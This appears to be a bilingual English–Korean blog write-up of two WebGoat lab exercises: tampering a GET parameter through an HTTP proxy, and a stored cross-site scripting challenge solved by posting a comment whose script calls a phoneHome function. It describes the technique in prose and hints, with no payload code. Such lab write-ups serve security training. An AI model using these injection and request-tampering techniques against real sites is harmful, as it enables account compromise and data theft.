  · Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes)"changeMe"
  · 파라미터에 들어가는 값을 'Requests are tampered easily'로 변경(작은따옴표 제외).


WebGoat write-up(HTTP Proxies) process

Through this challenge, we should definitely remember the difference that the GET method differs from the POST method in that the parameter is entered into the URL part(start line), not the body part. So changing the value of "changeMe" in the body part is useless.

이번 퀴즈를 통해, GET 방식은 POST 방식과 다르게 파라미터가 바디에 들어가는 것이 아니라, 주소 부분에 들어간다는 차이점을 확실히 기억해야 한다. 그렇기에 바디 부분의 "changeMe"는 아무리 바꿔봐야 소용이 없을 것이다.

As a further convention, remember that in HTTP messages, special character "+" is used for whitespace in parameter values. After completing the modification, send the message to the server with the upper left "Forward" button. Then the Clear message appears as shown below.

추가로 관례적인 표현으로, HTTP 메시지에서 파라미터 값의 공백문자는 "+"값으로 입력해야하는 것도 기억하자. 수정 완료 후 좌상단 "Forward" 버튼으로 서버에 전송하면 아래처럼 클리어 메시지가 나타난다.

WebGoat write-up(HTTP Proxies) result



April 17, 2019

WebGoat write up(Cross-Site Scripting 13 See the comments below)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

See the comments below.
아래 댓글들을 확인하라.

Add a comment with a javascript payload. Again … you want to call the webgoat.customjs.phoneHome function.

자바스크립트로 만든 페이로드가 포함된 댓글을 달도록 한다. 이 때 다시 한 번 "webgoat.customjs.phoneHome" 함수를 호출하도록 한다.

As an attacker (offensive security), keep in mind that most apps are not going to have such a straight-forwardly named compromise. Also, you may have to find a way to load your own javascript dynamically to fully achieve goals of exfiltrating data.

당신은 (공세적 보안 측면에서의) 공격자로서, 대부분의 애플리케이션들은 매번 동일한 방식으로 구축되어 있지 않다는 점을 기억해야 한다. 또한 많은 경우, 당신은 성공적으로 데이터를 추출하기 위해 자바스크립트 코드를 동적으로 불러오는 방법을 찾아야 할 것이다.

Watching in your browser’s developer tools or your proxy, the output should include a value starting with 'phoneHome Response is … ." Put that value in below to complete this exercise. Note that, each subsequent call to the phoneHome method will change that value. You may need to ensure you have the most recent one.

웹 브라우저의 개발자 모드나 프록시를 활용하라. 이번 챌린지를 클리어 하기 위해서는, 출력 결과에 "phoneHome Response is … ."라는 값이 포함되어 있어야 한다. 한 가지 주의할 점은 "phoneHome" 함수는 호출될 때마다 다른 값을 반환하는데, 가장 최근의 값을 제출해야 정답으로 인정된다.

the clue of Cross-Site Scripting 13 See the comments below

If you call the function mentioned in the passage together with a regular string, the comment will only show a plain string, and the script is invisible to the browser because it is interpreted and executed in JavaScript syntax. The feature of the called "phoneHome" function is to leave a random number on the console. You can check it in developer mode (F12) as the above image.

일반 문자열과 함께 지문에 나오는 함수를 함께 호출하면, 댓글에는 일반 문자열만 보이게 되고, 스크립트는 브라우저에서 해석 및 실행되는 자바스크립트 문법이므로 보이지 않는다. 호출하는 "phoneHome" 함수의 특징은 콘솔에 랜덤 숫자를 남기는데, 개발자 모드(F12)에 가면 위 이미지와 같이 확인할 수 있다.

the result of Cross-Site Scripting 13 See the comments below